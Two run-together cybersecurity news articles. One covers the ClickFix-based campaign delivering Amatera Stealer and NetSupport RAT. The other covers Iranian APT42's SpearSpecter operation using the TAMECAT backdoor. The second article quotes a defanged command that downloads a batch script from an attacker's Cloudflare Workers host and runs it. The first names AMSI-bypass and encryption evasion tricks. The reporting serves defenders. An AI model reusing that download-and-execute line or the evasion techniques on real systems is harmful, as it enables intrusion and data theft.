In November 2025, a new malware campaign emerged that combines social engineering tricks with advanced stealing tools.

The attack starts when criminals trick users into running commands through the Windows Run window, a technique known as ClickFix.

Once users follow these instructions, their computers become infected with Amatera Stealer, an advanced piece of malware designed to steal sensitive information from browsers, wallets, and password managers.

Shortly after the initial infection, the attackers deploy NetSupport RAT, giving them full remote access to the victim’s computer.

eSentire security analysts identified the malware after the second paragraph, noting that this campaign represents a significant evolution in how attackers combine multiple tools for maximum damage.

The attack chain works through carefully crafted social engineering. Attackers convince users to open the Run prompt and execute specific commands.

These commands trigger a series of hidden stages that eventually deliver Amatera Stealer to the victim’s machine. What makes this particularly dangerous is how the malware hides its true purpose.

It uses obfuscated PowerShell code that has been deliberately made difficult to read and understand. The malware employs a special trick involving XOR encryption with the string “AMSI_RESULT_NOT_DETECTED” to decrypt the next stage while confusing security researchers.

One of the most concerning aspects of this campaign involves the advanced evasion techniques used by Amatera Stealer. This malware was originally called ACR Stealer and was sold as a criminal service by a group called SheldIO.

Now rebranded as Amatera, the stealer uses WoW64 SysCalls to bypass common security tools like antivirus software and endpoint detection systems. This means even machines with strong security tools installed remain vulnerable.

The Infection Mechanism and Detection Evasion

The infection begins with a .NET-based downloader that retrieves and decrypts payloads using RC2 encryption from services like MediaFire.

This downloader is packed with Agile.net to make analysis harder for security teams. Once executed, it deploys a Pure Crypter-packed file that uses sophisticated process injection techniques.

The malware then disables AMSI (Anti-Malware Scan Interface) by overwriting the “AmsiScanBuffer” string in the system’s memory, effectively turning off Windows’ built-in security scanning for the rest of the attack.

Amatera communicates with its command servers using encrypted connections that bypass traditional security monitoring. It uses Windows APIs combined with WoW64 syscalls to encrypt all communications with AES-256-CBC, making traffic inspection nearly impossible.

The malware collects stolen data into zip files and sends them to criminal servers using these encrypted channels. Through its loader functionality, it can execute additional payloads selectively on valuable targets, such as computers containing cryptocurrency wallets or machines connected to business networks.

This selective approach helps attackers avoid wasting time on low-value targets and focus on organizations with real financial assets. The sophisticated nature of this campaign highlights why modern security requires multiple layers of protection.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post EVALUSION Campaign Using ClickFix Technique to deploy Amatera Stealer and NetSupport RAT appeared first on Cyber Security News.

A dangerous espionage campaign is targeting senior government and defense officials worldwide. Iranian hackers are using fake conference invitations and meeting requests to trick victims.

The attackers spend weeks building trust before striking. They reach out through WhatsApp to make their messages look legitimate.

This campaign, known as SpearSpecter, combines patience with powerful malware to steal sensitive information.

The attackers work for Iran’s Islamic Revolutionary Guard Corps Intelligence Organization. They operate under several names including APT42, Mint Sandstorm, Educated Manticore, and CharmingCypress.

Their main goal is stealing sensitive information from people with access to government secrets. What makes this group dangerous is how they adapt their methods and use both credential theft and long-term spying tools.

Israel National Digital Agency security researchers identified the malware and uncovered the operation scope. The campaign has been running for months with no signs of stopping.

The attackers target both officials and family members to increase pressure and find new entry points.

Advanced Infection Through WebDAV and PowerShell

The infection starts when victims receive a link claiming to be an important document for a meeting. When clicked, the link redirects to a file on OneDrive.

Attackers abuse the Windows search-ms protocol to trigger a popup asking users to open Windows Explorer. If victims accept, their computer connects to the attacker’s WebDAV server.

The WebDAV server displays what looks like a PDF file, but it’s actually a malicious shortcut. When opened, this shortcut runs hidden commands that download a batch script from Cloudflare Workers using the following command:-

cmd / c curl --ssl-no-revoke -o vgh.txt hxxps://line.completely.workers.dev/aoh5 & rename vgh.txt temp.bat & %tmp%

The script loads TAMECAT, a sophisticated PowerShell-based backdoor that operates entirely in memory. TAMECAT uses AES-256 encryption to communicate with command servers through multiple channels including web traffic, Telegram, and Discord.

TAMECAT collects browser passwords by launching Microsoft Edge with remote debugging and suspending Chrome processes. It captures screenshots every fifteen seconds and searches for documents. All stolen data gets split into five megabyte chunks and uploaded.

To survive restarts, TAMECAT creates registry entries that run batch files at login. The malware avoids detection by using trusted Windows programs. Researchers found attackers using Cloudflare Workers for command infrastructure.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Iranian SpearSpecter Attacking High-Value Officials Using Personalized Social Engineering Tactics appeared first on Cyber Security News.